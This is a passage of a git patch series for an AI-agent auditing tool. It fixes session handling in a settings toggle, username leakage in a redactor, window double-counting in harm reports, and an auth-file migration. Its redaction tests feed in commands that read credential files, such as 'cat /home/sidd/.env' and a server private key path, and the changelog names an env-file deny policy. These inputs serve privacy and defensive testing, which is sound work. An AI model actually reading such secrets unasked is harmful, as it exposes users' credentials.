typo never costs a round of OTP; the interval is written and RE-READ so what prints is what the config kept, with `readIntervalDays` still owning the 1..90 clamp. Turning it on reports the DAEMON's state too, since config saying "on" and nothing running it is the same silent failure the settings panel exists to expose, and a non-interactive terminal gets one sentence instead of a hang on a prompt nobody will answer. `--status` has no equivalent anywhere: it is the only way to ask a headless machine whether scheduling is on, where reports go, whether the daemon is up, and when the next scan is due. Two doc comments in `app/actions/` claimed the `failproofai config` wizard already wrote these keys — it never did, the wizard calls `updateConfig` zero times — and they are corrected here rather than left describing a command that did not exist. (#698) diff --git a/app/audit/_components/empty-state.tsx b/app/audit/_components/empty-state.tsx index 2e29a79c..02e7b0f6 100644 --- a/app/audit/_components/empty-state.tsx +++ b/app/audit/_components/empty-state.tsx @@ -49,7 +49,7 @@ export function EmptyState({ mode, running, onStarted, onCompleted }: Props) {
━━ audit{" "} - · first run + · first run
no cache yet @@ -101,7 +101,7 @@ export function EmptyState({ mode, running, onStarted, onCompleted }: Props) {
━━ audit{" "} - · zero transcripts + · zero transcripts
hooks not installed diff --git a/app/audit/_components/run-progress.tsx b/app/audit/_components/run-progress.tsx index c9e73d7f..c522349a 100644 --- a/app/audit/_components/run-progress.tsx +++ b/app/audit/_components/run-progress.tsx @@ -55,7 +55,7 @@ export function RunProgress() {
━━ audit{" "} - · in progress + · in progress
scanning diff --git a/app/audit/audit-styles.css b/app/audit/audit-styles.css index 2ab96462..c3482390 100644 --- a/app/audit/audit-styles.css +++ b/app/audit/audit-styles.css @@ -211,7 +211,11 @@ color: var(--accent-green); display: inline-flex; align-items: baseline; gap: 10px; } -.section-label .glyph { color: var(--accent-pink); letter-spacing: -2px; } +/* Kept in step with globals.css, which declares the same selector: this file + * loads after it, so a value left behind here silently wins. The leader and + * separator inherit the label's colour — one label, one colour. */ +.section-label .glyph { color: inherit; letter-spacing: -2px; } +.section-label .sep { color: inherit; } .section-meta { font-family: var(--font-mono); font-size: 11px; letter-spacing: 0.18em; text-transform: uppercase; diff --git a/app/globals.css b/app/globals.css index 303fb3fd..0ab1f496 100644 --- a/app/globals.css +++ b/app/globals.css @@ -404,7 +404,12 @@ input[type="date"] { color-scheme: dark; } color: var(--accent-green); display: inline-flex; align-items: baseline; gap: 10px; } -.section-label .glyph { color: var(--accent-pink); letter-spacing: -2px; } +/* The leader and the separator take the label's own colour rather than each + * carrying their own. A three-colour eyebrow (pink rule, dim dot, mint text) + * read as three things happening on one line instead of one label; the line + * names a section, which is a single fact, so it is a single colour. */ +.section-label .glyph { color: inherit; letter-spacing: -2px; } +.section-label .sep { color: inherit; } .section-meta { font-family: var(--font-mono); font-size: 12px; letter-spacing: 0.18em; text-transform: uppercase; diff --git a/app/settings/settings-client.tsx b/app/settings/settings-client.tsx index 19bb7b10..34371a76 100644 --- a/app/settings/settings-client.tsx +++ b/app/settings/settings-client.tsx @@ -438,11 +438,8 @@ export default function SettingsClient({ initial }: { initial: ScheduledAuditVie
-
━━ this machine ━━

settings

-

- what failproof does on its own, while you are not looking. -

+

keeping watch, so you don't have to.

{loadError ? ( diff --git a/app/settings/settings.css b/app/settings/settings.css index 919b2e98..87d0ff2b 100644 --- a/app/settings/settings.css +++ b/app/settings/settings.css @@ -156,15 +156,6 @@ .set-mast { margin-bottom: 28px; } -.set-eyebrow { - font-family: var(--font-mono); - font-size: 11px; - font-weight: 500; - letter-spacing: 0.2em; - text-transform: uppercase; - color: var(--accent-pink); - margin-bottom: 14px; -} .set-title { /* The pixel display face, used once on the page and nowhere else. */ font-family: var(--font-display); From 7a99771099342d7b0bb5945bb281d8477f761583 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Sat, 15 Aug 2026 02:25:08 +0530 Subject: [PATCH 12/24] fix(settings): offer the next step when a session is already dead MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Turning scheduled audits on asks the api-server who you are, while the page reads "reports go to …" off the local session file. The two disagree exactly when a session has expired or was minted against a different api-server — the common case, not an edge one — so the toggle took the signed-in path and the click dead-ended on "could not turn that on.", with no dialog and no next step. Catching the refusal was not available: Next masks a thrown server-action error before the browser sees it, so the client receives an opaque digest and never the message. Matching on the text would have worked in development and silently degraded to a generic failure in production, which is what shipped. So the refusal is RETURNED — `{ok: false, reason: "signed-out"}` — a discriminant that survives the boundary. The page re-reads before opening the dialog, or it would ask for an email while still displaying one. Turning scheduling OFF is still never refused. Also: the settings panel's "sends" line stops claiming "only counts and redacted examples". The report carries the machine's name too, which routinely carries its owner's, and very nearly true is the worse kind of claim when the reader can check it against the same email. It now lists all three, in the order the digest states them. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 ++ .../actions/update-scheduled-audit.test.ts | 35 ++++++++++++++++++- .../audit/settings-scheduled-audit.test.tsx | 25 ++++++++++++- app/actions/update-scheduled-audit.ts | 30 ++++++++++++++-- app/settings/settings-client.tsx | 31 +++++++++++++--- 5 files changed, 114 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 60f021cf..3610938b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### Features +- Offer the way forward when a stored session turns out to be dead, and name the machine's name as something that leaves the box. Turning scheduled audits on asks the api-server who you are, while the page reads "reports go to …" from the local session file — so the two disagree exactly when a session has expired or was minted against a different server, which is the common case rather than an edge one. The click then took the signed-in path and dead-ended on "could not turn that on." with no dialog and no next step. The refusal could not simply be caught and inspected either: **Next masks a thrown server-action error before the browser sees it**, so the client gets an opaque digest and never the message — matching on the text would have worked in development and silently degraded to a generic failure in production, which is precisely what shipped. `setAutoAuditAction` now RETURNS `{ok: false, reason: "signed-out"}`, a discriminant that survives the boundary, and the page re-reads before opening the sign-in dialog so it stops displaying an address while asking for one. Turning scheduling OFF is still never refused — an expired session must not trap somebody into keeping a feature they are trying to disable. Separately, the settings panel's **sends** line stops saying "only counts and redacted examples": the report carries the machine's name too — its hostname, which routinely carries its owner's — and very nearly true is the worse kind of claim when the reader can check it against the same email. It now enumerates all three, in the same order the digest does. (#698) + - Make a section eyebrow one colour, and drop the one on `/settings`. The label read `━━ audit · first run` in three colours — a pink rule, a dim dot, mint text — which presented one fact as three things happening on a line. `.section-label .glyph` was ALSO declared twice, in `globals.css` and again in `audit/audit-styles.css`, and the audit copy loads second: the first fix changed the value nobody was reading, and the page kept rendering the old colour. Both now inherit, so the label is a single colour and the two files cannot drift apart again silently. `/settings` loses its `━━ this machine ━━` eyebrow entirely — the h1 says "settings" and the page is about this machine either way — and its tagline becomes "keeping watch, so you don't have to." (#698) - Rebuild `/settings` as a console for the service, not a card floating on a black page. Two rows drawn as one instrument: a **stat row** — daemon, next scan, last scan, findings — and a **panel row** carrying the controls beside what the scan actually does. The page used to answer one question ("is the toggle on"); it now answers the two anybody actually has in front of a background service, which is what it is doing right now and what it will do with what it finds. Every hairline is a `gap: 1px` over a line-coloured background rather than a border per cell, because borders double where cells meet and vanish at the edges — the grid is one pixel everywhere by construction instead of by arithmetic. The design doc this came from specified its own palette and two new webfonts (`#050506`, `#ff3b66`, `#3ee6a4`, VT323, IBM Plex Mono); it is built on the shipped tokens instead, so `/settings` and `/audit` remain one product a click apart, and `--warn #e8b339` is dropped rather than introduced — pink is the only channel this brand has for "needs a person", and a third hue would have been a new rule for one page. **Three of the four stats needed no new storage and two are better than the doc assumed**: the countdown comes from the daemon's own `next_due_at_ms` rather than last-scan-plus-interval, which silently drifts the moment the interval changes mid-cycle; and the daemon's state keeps `daemonServiceStatus()`'s four answers, because "installed but its binary is missing" is a different fix from "it crashed" and a heartbeat file cannot tell them apart. The `findings` stat reports THIS scan rather than a lifetime total, which needed a counter, a writer on both the CLI and daemon paths, and a decision about what a reset does to it — none of which the stat was worth. `readDashboardCacheMeta` now returns the counts alongside the timestamp, and deliberately still bypasses the TTL: the reader that drops an aged entry is right for rendering results and exactly backwards for a stat whose subject is that the scan was a while ago — mixing the two readers is how a page ends up showing "6 days ago" beside a blank count. An unreadable count renders as `—`, never as `0`, since a machine that scanned and found nothing is not the same claim as a file that failed to parse. `daemonStartedAtMs()` reads systemd's MONOTONIC activation stamp rather than the printed `ActiveEnterTimestamp`, whose locale-and-abbreviation format (`Fri 2026-08-14 19:45:13 IST`) `Date.parse` rejects on most abbreviations and mis-parses on the rest; it returns an absolute time so the page keeps counting without re-fetching, and null on macOS rather than a guess, since launchd would need a second privileged call per render to answer. The schedule tape survives, under the panels: the stats give numbers and the tape gives a position, which is the one thing no number shows at a glance. (#698) diff --git a/__tests__/actions/update-scheduled-audit.test.ts b/__tests__/actions/update-scheduled-audit.test.ts index f7126b56..b6d83dd6 100644 --- a/__tests__/actions/update-scheduled-audit.test.ts +++ b/__tests__/actions/update-scheduled-audit.test.ts @@ -57,7 +57,7 @@ describe("scheduled-audit write actions", () => { it("setAutoAuditAction toggles [audit] auto and reflects what the config stored", async () => { expect(readConfig().audit.auto).toBe(false); const res = await setAutoAuditAction(true); - expect(res.auto).toBe(true); + expect(res).toEqual({ ok: true, auto: true }); expect(readConfig().audit.auto).toBe(true); }); @@ -110,3 +110,36 @@ describe("scheduled-audit write actions", () => { expect(after.audit.auto).toBe(true); }); }); + +describe("a session the server rejects", () => { + it("is REPORTED, not thrown, so the caller can act on it", async () => { + // Next masks a thrown server-action error before the browser sees it — the + // client gets an opaque digest and never the message. A caller matching on + // the text works in development and silently degrades to a generic failure + // in production, which is what shipped: the page showed an address read + // from the local session file, the toggle took the signed-in path, and the + // click dead-ended on "could not turn that on." + whoAmIMock.mockResolvedValue(null); + + const res = await setAutoAuditAction(true); + + expect(res).toEqual({ ok: false, reason: "signed-out" }); + // And nothing was written: a timer with nobody to tell reads as on and + // produces nothing. + expect(readConfig().audit.auto).toBe(false); + }); + + it("still lets somebody turn scheduling OFF", async () => { + // The refusal is one-directional on purpose. An expired session must not + // trap a person into keeping a feature they are trying to disable. + whoAmIMock.mockResolvedValue({ me: { id: "u", email: "a@b.c" } }); + await setAutoAuditAction(true); + expect(readConfig().audit.auto).toBe(true); + + whoAmIMock.mockResolvedValue(null); + const res = await setAutoAuditAction(false); + + expect(res).toEqual({ ok: true, auto: false }); + expect(readConfig().audit.auto).toBe(false); + }); +}); diff --git a/__tests__/audit/settings-scheduled-audit.test.tsx b/__tests__/audit/settings-scheduled-audit.test.tsx index c5238d65..908d3366 100644 --- a/__tests__/audit/settings-scheduled-audit.test.tsx +++ b/__tests__/audit/settings-scheduled-audit.test.tsx @@ -74,7 +74,7 @@ let lastView: ReturnType | null = null; beforeEach(() => { lastView = view(); getViewMock.mockReset().mockResolvedValue(view()); - setAutoMock.mockReset().mockResolvedValue({ auto: true }); + setAutoMock.mockReset().mockResolvedValue({ ok: true, auto: true }); setIntervalMock.mockReset().mockResolvedValue({ intervalDays: 7 }); triggerRunMock.mockReset().mockResolvedValue(undefined); toastMock.mockReset(); @@ -145,6 +145,29 @@ describe("the switch", () => { expect(screen.queryByText("where should the report go?")).toBeNull(); }); + it("opens the sign-in dialog when the server rejects the stored session", async () => { + // The page reads "reports go to …" from the LOCAL session file, so it takes + // the signed-in path and calls the action directly. When the api-server has + // since rejected that session — expired, or minted against a different + // server — the click used to dead-end on "could not turn that on." with no + // way forward. The one failure with an obvious next step now offers it. + lastView = view({ signedInAs: { id: "u", email: "stale@exosphere.host" } }); + getViewMock.mockResolvedValue(lastView); + setAutoMock.mockResolvedValue({ ok: false, reason: "signed-out" }); + + renderSettings(); + fireEvent.click(await screen.findByRole("switch", { name: "turn on scheduled audits" })); + + expect(await screen.findByText("where should the report go?")).toBeInTheDocument(); + // And the switch does not sit there claiming to be on. + await waitFor(() => + expect(screen.getByRole("switch", { name: "turn on scheduled audits" })).toHaveAttribute( + "aria-checked", + "false", + ), + ); + }); + it("turns OFF without asking anything", async () => { // An expired session must never trap somebody into keeping a feature they // are trying to disable. diff --git a/app/actions/update-scheduled-audit.ts b/app/actions/update-scheduled-audit.ts index f71a1da4..e2eddfb3 100644 --- a/app/actions/update-scheduled-audit.ts +++ b/app/actions/update-scheduled-audit.ts @@ -20,6 +20,24 @@ import { readConfig, updateConfig } from "@/src/hooks/fp-config"; import { whoAmI } from "@/lib/auth/auth-store"; +/** + * The outcome of trying to turn scheduling on. + * + * "Signed out" is RETURNED, not thrown, and that is the whole point of this + * type. Next masks a server action's thrown error before the browser sees it — + * the client gets an opaque digest, never the message — so a caller matching on + * the text works in development and silently degrades to a generic failure in + * production, which is exactly what happened: the page showed an address it had + * read from the local session file, the toggle took the signed-in path, and the + * user got "could not turn that on." with no way forward from that click. + * + * A returned discriminant survives the boundary, so the caller can open the + * sign-in dialog for the one failure that has an obvious next step. + */ +export type SetAutoAuditResult = + | { ok: true; auto: boolean } + | { ok: false; reason: "signed-out" }; + /** * Turn the scheduled scan on or off. * @@ -29,6 +47,12 @@ import { whoAmI } from "@/lib/auth/auth-store"; * on and produces nothing, discoverable only by noticing that no digest ever * arrives. The caller signs the user in first and retries. * + * `whoAmI()` asks the SERVER, so this refuses in a case the page cannot see: a + * session file that exists locally but whose refresh token the api-server has + * rejected. The local file is what the page reads to show "reports go to …", so + * the two disagree exactly when a session has expired or was minted against a + * different server — and that disagreement is the common case, not an edge one. + * * Turning it OFF never checks. An expired session must not be able to trap * somebody into keeping a feature they are trying to disable. * @@ -39,15 +63,15 @@ import { whoAmI } from "@/lib/auth/auth-store"; * Returns the value actually stored (re-read), so an optimistic UI can confirm * against the source of truth rather than assume its own guess landed. */ -export async function setAutoAuditAction(enabled: boolean): Promise<{ auto: boolean }> { +export async function setAutoAuditAction(enabled: boolean): Promise { if (enabled) { const who = await whoAmI(); if (!who) { - throw new Error("sign in before scheduling audits"); + return { ok: false, reason: "signed-out" }; } } const next = updateConfig({ audit: { auto: enabled } }); - return { auto: next.audit.auto }; + return { ok: true, auto: next.audit.auto }; } /** diff --git a/app/settings/settings-client.tsx b/app/settings/settings-client.tsx index 34371a76..da66021d 100644 --- a/app/settings/settings-client.tsx +++ b/app/settings/settings-client.tsx @@ -183,8 +183,17 @@ function Toggle({ ); } -/** What the scan does, as three labelled lines. This is the old footer - * paragraph restructured — same claims, scannable instead of a wall. */ +/** + * What the scan does, as three labelled lines. This is the old footer paragraph + * restructured — same claims, scannable instead of a wall. + * + * "sends" ENUMERATES rather than saying "only counts and redacted examples". + * That was very nearly true, and very nearly true is the worse kind: the report + * carries the machine's name too — its hostname, which routinely carries its + * owner's. A list a person can check beats a stronger claim they cannot, and + * this panel is the one place they would come to check. The digest email states + * the same three, in the same order. + */ const HOW_IT_WORKS: ReadonlyArray<{ label: string; body: string }> = [ { label: "reads", @@ -193,7 +202,7 @@ const HOW_IT_WORKS: ReadonlyArray<{ label: string; body: string }> = [ { label: "runs", body: "entirely on this machine. the transcripts never leave it." }, { label: "sends", - body: "only counts and redacted examples, and only when a scan finds something harmful.", + body: "counts, redacted examples, and this machine's name — and only when a scan finds something harmful.", }, ]; @@ -286,6 +295,18 @@ export default function SettingsClient({ initial }: { initial: ScheduledAuditVie setBusy(true); try { const res = await setAutoAuditAction(true); + if (!res.ok) { + // The server rejected the session this page had been showing an address + // for — expired, or minted against a different api-server. The local + // file is the only thing that said "signed in", and `whoAmI` has since + // cleared it, so re-read before opening the dialog: otherwise the page + // asks for an email while still displaying one. + setAuto(false); + await reload(); + setAuthOpen(true); + toast("that sign-in expired. one more code and it's on."); + return; + } setAuto(res.auto); toast("scheduled audits on."); await reload(); @@ -302,7 +323,9 @@ export default function SettingsClient({ initial }: { initial: ScheduledAuditVie setBusy(true); try { const res = await setAutoAuditAction(false); - setAuto(res.auto); + // Turning it OFF is never refused, so `ok` is always true here — the + // narrowing is the type system's, not a case that can happen. + if (res.ok) setAuto(res.auto); toast("scheduled audits off."); await reload(); } catch { From 7fb1488e84a9b3515ac12f598657660b539d1c34 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Sat, 15 Aug 2026 02:38:59 +0530 Subject: [PATCH 13/24] Stop the redactor printing the username, and three more from review MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Four of thirteen review findings survived checking against the code. The others were stale — the truncated-secret leak and the machine-dependent CI assertion are already fixed, and three cite a component that has since been rewritten. **The redactor emitted the username.** `/home/sidd` shortened to `~/…/sidd`, keeping the name as the basename directly after the `~` whose whole job is to stand in for it. The one path guaranteed to identify a person was the one path spelled out, and it reached the api-server in `harmful[].examples` and the digest email. The home directory is `~` now, and nothing more. That fix exposed a second defect under it: `underHome` was a bare `startsWith`, so a home with a trailing slash did not match itself — turning off home detection for exactly the path that most needed it — and `/home/u2` matched `/home/u`. The boundary is checked, once, outside the replace callback. **A policy straddling the window's upper edge reported hits from after it.** `wholly` tested the lower bound alone, so a policy that started inside the window and was still firing after it closed sent `count.hits` — every hit, including those past `to` — while its examples were filtered to the window. Those hits also fall inside the NEXT window, since the watermark advances to `to`, so one occurrence was reported twice. Both edges are checked now; a straddle at either falls back to the examples actually inside. **`FAILPROOFAI_AUTH_DIR` signed people out on upgrade.** A documented env var naming a directory outside the managed home, and every path in the layout-4 step comes from FAILPROOFAI_HOME — so that directory was never visited, the file stayed `auth.json`, layout 4 read `session.json`, and the session vanished with no message. Scans kept running, digests quietly stopped. The step migrates that directory too. **A failed cleanup marked the migration successful.** With the destination already present the step dropped the layout-3 original and swallowed any error, then stamped layout 4 — leaving `auth.json`, a live bearer token, at the home root where nothing would read it again and nothing would clean it up. It propagates now: the home stays at layout 3 and the next command retries, which is what runMigrations documents a failed step to mean. The rmSync regression test fails for real rather than by mock — a directory where the file should be, since `force` suppresses ENOENT and nothing else, and an ESM import bound at load time would never see a spy. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + __tests__/audit/harm-report.test.ts | 70 ++++++++++++++++++++++++++ __tests__/audit/redact-example.test.ts | 33 ++++++++++++ __tests__/hooks/migrations.test.ts | 63 +++++++++++++++++++++++ src/audit/harm-report.ts | 17 +++++-- src/audit/redact-example.ts | 22 +++++++- src/hooks/migrations.ts | 38 +++++++++++--- 7 files changed, 235 insertions(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3610938b..d59b9902 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,8 @@ ### Fixes +- Four from review, each verified against the code before it was touched — nine other findings were stale or cosmetic and are left alone. **The redactor emitted the username.** `/home/sidd` shortened to `~/…/sidd`, keeping the name as the basename immediately after the `~` whose entire job is to stand in for it: the one path guaranteed to identify a person was the one path spelled out, and it went to the api-server in `harmful[].examples` and into the digest. The home directory is now `~` and nothing else. Fixing it surfaced a second defect underneath — `underHome` used a bare `startsWith`, so a home carrying a trailing slash failed to match itself, and `/home/u2` matched `/home/u`; the boundary is checked now, once, outside the replace callback. **A policy straddling the window's upper edge reported hits from after it.** `wholly` tested the lower bound alone, so a policy that began inside the window and was still firing after it closed sent `count.hits` — every hit, including the ones past `to` — while its examples were correctly filtered to the window. Those hits then landed inside the NEXT window too, since the watermark advances to `to`, and were reported a second time from one occurrence. Both edges are checked; a straddle at either falls back to the examples actually inside, which undercounts but never invents. **`FAILPROOFAI_AUTH_DIR` upgrades signed people out silently.** It is a documented env var naming a directory outside the managed home, and every path in the layout-4 step comes from `FAILPROOFAI_HOME` — so the override directory was never visited, the file stayed `auth.json`, layout 4 read `session.json`, and the session vanished with no message: scans still running, digests quietly stopped. The step migrates that directory too, so one naming scheme holds regardless of how the process was configured. **A failed cleanup marked the migration successful.** When the destination already existed the step dropped the layout-3 original and swallowed any error, then carried on to stamp layout 4 — leaving `auth.json`, a live bearer token, at the home root where nothing would look at it again and nothing would ever clean it up. It propagates now, which leaves the home at layout 3 and retries on the next command, exactly as `runMigrations` documents a failed step to mean. (#698) + - Stop a harm-report test asserting a path shape that only holds on the machine that wrote it. `redactExample` resolves the real `homedir()` to decide whether a path earns the `~` prefix, and the test fed it a hardcoded `/home/sidd/...` while expecting `~/…/.env` — true on the author's box, false on CI, where `HOME` is `/home/runner` and the same input correctly redacts to `/…/.env`. The example is now built from `homedir()`, so the assertion is about the REDACTION rather than about whose laptop ran it. Verified by re-running the suite with `HOME` overridden, which reproduces the CI failure exactly and then passes. (#698) - Three fixes to the harm digest, all found by running the whole stack against a real machine rather than a fixture. **A first report covered all of history.** With no watermark the window was "everything", which against 230 sessions and 22,059 tool calls produced **5,815 findings** — every number true and the digest still wrong, because somebody's first email would describe their agent's entire recorded history as though it were this week's news, and would trip the critical-policy bypass on day one for essentially everyone. A first report is now bounded to one `interval_days` back from the scan, so the opening digest covers the same period every later one does; the same run then reports **17**. The older findings are not lost, they are simply not news — they are on the dashboard, which is where a full history belongs. **A truncated secret shipped as a fragment.** A real digest came back containing `authorization: Bearer s`. The audit caps every example at 80 characters at CAPTURE time, long before the redactor sees it, so a command ending in a credential arrives with the credential's tail already gone and the full pattern no longer matches — the exact failure the mask-before-shorten ordering guards against, arriving from upstream instead. A second pass now masks a known secret prefix sitting at the END of a string, on the assumption it was cut; one character is not a usable secret, but the number was set by where the truncation happened to land rather than by anything we control. **`/dev/null` was being shortened to `/…/null`**, which reads as though something was hidden when nothing was; kernel and device roots are identical on every machine, identify nobody, and are now left intact. (#698) diff --git a/__tests__/audit/harm-report.test.ts b/__tests__/audit/harm-report.test.ts index ae4f2c68..f23cce38 100644 --- a/__tests__/audit/harm-report.test.ts +++ b/__tests__/audit/harm-report.test.ts @@ -268,3 +268,73 @@ describe("buildHarmReport", () => { expect(buildHarmReport(result([]), AUG_07, 7).harmful).toEqual([]); }); }); + +describe("the upper edge of the window", () => { + const AUG_20 = "2026-08-20T12:00:00.000Z"; + + it("does not report hits that happened after `to`", () => { + // The straddle test above covers the LOWER edge — activity that began + // before the window. This is the other one: a policy that started inside + // the window and was still firing after it closed. `wholly` tested only the + // lower bound, so this reported `hits: 40` — every hit, including the ones + // after `to` — while its examples were correctly filtered to the window. + const r = result( + [ + count({ + name: "failproofai/block-env-files", + severity: "deny", + hits: 40, + firstSeen: AUG_10, + lastSeen: AUG_20, + examples: [example(AUG_10), example(AUG_14), example(AUG_20)], + }), + ], + AUG_20, + ); + + const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14)); + expect(p.hits).toBe(2); + expect(p.examples).toHaveLength(2); + }); + + it("would otherwise count the same hits again in the next window", () => { + // Why the early report is worse than a late one: the watermark advances to + // `to`, so the next window STARTS where this one ended and those same + // post-window hits fall inside it. Reported twice, from one occurrence. + const r = result( + [ + count({ + name: "failproofai/block-env-files", + severity: "deny", + hits: 40, + firstSeen: AUG_10, + lastSeen: AUG_20, + examples: [example(AUG_10), example(AUG_14), example(AUG_20)], + }), + ], + AUG_20, + ); + + const [first] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14)); + const [second] = selectHarmful(r, new Date(AUG_14), new Date(AUG_20)); + expect(first.hits + second.hits).toBeLessThanOrEqual(3); + }); + + it("still reports the real total when the policy fits inside both edges", () => { + // The fix must not turn every row into an example count — a policy wholly + // inside the window still reports `hits`, which is larger than the handful + // of examples the audit kept. + const r = result([ + count({ + name: "failproofai/block-env-files", + severity: "deny", + hits: 40, + firstSeen: AUG_10, + lastSeen: AUG_14, + examples: [example(AUG_10)], + }), + ]); + const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14)); + expect(p.hits).toBe(40); + }); +}); diff --git a/__tests__/audit/redact-example.test.ts b/__tests__/audit/redact-example.test.ts index af6187d6..37331a5c 100644 --- a/__tests__/audit/redact-example.test.ts +++ b/__tests__/audit/redact-example.test.ts @@ -174,3 +174,36 @@ describe("shortenPaths — public roots", () => { expect(shortenPaths("/etc/ssl/private/server.key", HOME)).toBe("/…/server.key"); }); }); + +describe("the home directory itself", () => { + it("is `~`, never `~/…/`", () => { + // The one path guaranteed to name a person was the one the redactor spelled + // out: `/home/sidd` came back as `~/…/sidd`, keeping the username as the + // basename immediately after the `~` whose whole job is to stand in for it. + // It shipped to the api-server in `harmful[].examples` and into the digest. + expect(redactExample("cd /home/sidd", "/home/sidd")).toBe("cd ~"); + expect(redactExample("du -sh /home/sidd", "/home/sidd")).toBe("du -sh ~"); + // macOS shape, same defect. + expect(redactExample("cd /Users/sidd", "/Users/sidd")).toBe("cd ~"); + }); + + it("keeps the trailing slash, so a directory still reads as one", () => { + expect(redactExample("ls /home/sidd/", "/home/sidd")).toBe("ls ~/"); + }); + + it("tolerates a home path that itself ends in a slash", () => { + expect(redactExample("cd /home/sidd", "/home/sidd/")).toBe("cd ~"); + }); + + it("still shortens paths BELOW home, which is the ordinary case", () => { + expect(redactExample("cat /home/sidd/.env", "/home/sidd")).toBe("cat ~/…/.env"); + expect(redactExample("cd /home/sidd/projects/api", "/home/sidd")).toBe("cd ~/…/api"); + }); + + it("never emits the username for a sibling home either", () => { + // `/home/sidd2` starts with `/home/sidd` as a STRING but is a different + // directory — it must not be mistaken for the home itself. + const out = redactExample("cat /home/sidd2/notes.txt", "/home/sidd"); + expect(out).not.toContain("sidd2"); + }); +}); diff --git a/__tests__/hooks/migrations.test.ts b/__tests__/hooks/migrations.test.ts index ed2c5a7f..5aa31449 100644 --- a/__tests__/hooks/migrations.test.ts +++ b/__tests__/hooks/migrations.test.ts @@ -370,6 +370,69 @@ describe("layout 3 → 4", () => { expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION); }); + it("migrates a FAILPROOFAI_AUTH_DIR home too, instead of signing that user out", () => { + // The override names a directory OUTSIDE the managed home, and it is a + // documented env var rather than a test hook. Every other path in the step + // comes from FAILPROOFAI_HOME, so the override directory was never visited: + // the file stayed `auth.json`, layout 4 read `session.json`, and the upgrade + // signed the user out without saying so — scans still running, digests + // silently stopped. + seedLayoutThree(); + const override = mkdtempSync(resolve(tmpdir(), "fpai-authdir-")); + const prev = process.env.FAILPROOFAI_AUTH_DIR; + process.env.FAILPROOFAI_AUTH_DIR = override; + try { + writeFileSync(resolve(override, "auth.json"), '{"access_token":"override-at"}', { + mode: 0o600, + }); + writeFileSync(resolve(override, "next-audit.json"), '{"user_email":"o@b.c"}'); + + runMigrations(3); + + expect(JSON.parse(readFileSync(resolve(override, "session.json"), "utf8")).access_token).toBe( + "override-at", + ); + expect(JSON.parse(readFileSync(resolve(override, "reminder.json"), "utf8")).user_email).toBe( + "o@b.c", + ); + // And the old names are gone — a second copy of a bearer credential is + // the thing this step exists to avoid leaving behind. + expect(existsSync(resolve(override, "auth.json"))).toBe(false); + expect(existsSync(resolve(override, "next-audit.json"))).toBe(false); + } finally { + if (prev === undefined) delete process.env.FAILPROOFAI_AUTH_DIR; + else process.env.FAILPROOFAI_AUTH_DIR = prev; + rmSync(override, { recursive: true, force: true }); + } + }); + + it("does not stamp layout 4 when a stale credential could not be deleted", () => { + // The destination already exists, so the step drops the layout-3 original. + // Swallowing a failure there continued to `writeVersionFile()` and marked + // the home migrated with `auth.json` — a live bearer token — still at the + // root, where nothing would look at it again and nothing would clean it up. + // Failing leaves the home at layout 3, which `runMigrations` documents as + // "the next command retries", and the retry is a no-op plus one more delete. + seedLayoutThree(); + mkdirSync(resolve(home, "audit"), { recursive: true }); + writeFileSync(auditSessionFile(), '{"access_token":"already-here"}', { mode: 0o600 }); + + // A DIRECTORY where the credential file should be: `rmSync(from, {force})` + // suppresses ENOENT and nothing else, so it throws EISDIR here. A real + // failure from the real call, rather than a mock of it — the ESM import is + // bound at load time and a spy on the namespace would never be seen. + rmSync(legacy.authJson(), { force: true }); + mkdirSync(legacy.authJson(), { recursive: true }); + writeFileSync(resolve(legacy.authJson(), "trapped"), "x"); + + const run = runMigrations(3); + + expect(run.failed).toBeDefined(); + expect(readVersionFile()?.layout).toBe(3); + // The layout-4 file was never clobbered by the failed step. + expect(JSON.parse(readFileSync(auditSessionFile(), "utf8")).access_token).toBe("already-here"); + }); + it("keeps the daemon version, which nothing on this path touches", () => { // The step stamps VERSION through `writeVersionFile()` rather than writing // the JSON by hand. Hand-rolling it drops `daemon`, which `daemonVersionSkew()` diff --git a/src/audit/harm-report.ts b/src/audit/harm-report.ts index f24a517a..9bbc8c00 100644 --- a/src/audit/harm-report.ts +++ b/src/audit/harm-report.ts @@ -145,15 +145,26 @@ export function selectHarmful( const unplaceable = last === null && first === null; if (unplaceable && !includeUnplaceable) continue; - // Wholly inside the window → the real total. Straddling it → the examples - // that actually fall inside, which undercounts but never invents. + // Wholly inside the window → the real total. Straddling EITHER edge → the + // examples that actually fall inside, which undercounts but never invents. + // + // Both edges, and the upper one is not symmetry for its own sake. This used + // to test the lower bound alone, so a policy that started inside the window + // and was still firing after it closed reported `count.hits` — every hit, + // including the ones after `to`, while its examples were filtered to the + // window. Those hits then fell inside the NEXT report's window too, since + // the watermark advances to `to`, and were counted a second time. A digest + // that reports tomorrow's findings today and again tomorrow is worse than + // one that is late. // // An UNPLACEABLE policy that survived the check above reports its full // count: there is nothing to narrow it with, and having decided to include // it, reporting zero would be a row claiming nothing happened. It is only // reachable on a first report, where over-reporting is the direction that // was chosen deliberately. - const wholly = fromMs === null || unplaceable || (first !== null && first > fromMs); + const afterLowerEdge = fromMs === null || (first !== null && first > fromMs); + const beforeUpperEdge = last !== null && last <= toMs; + const wholly = unplaceable || (afterLowerEdge && beforeUpperEdge); const hits = wholly ? count.hits : inWindow.length; if (hits <= 0) continue; diff --git a/src/audit/redact-example.ts b/src/audit/redact-example.ts index 5da1f07a..91206349 100644 --- a/src/audit/redact-example.ts +++ b/src/audit/redact-example.ts @@ -139,6 +139,11 @@ export function maskSecrets(input: string): string { * under `/build` as often as anywhere. */ export function shortenPaths(input: string, home = homedir()): string { + // Normalised ONCE, not per match: `startsWith` against a home carrying a + // trailing slash fails for the home directory itself (`/home/u` does not start + 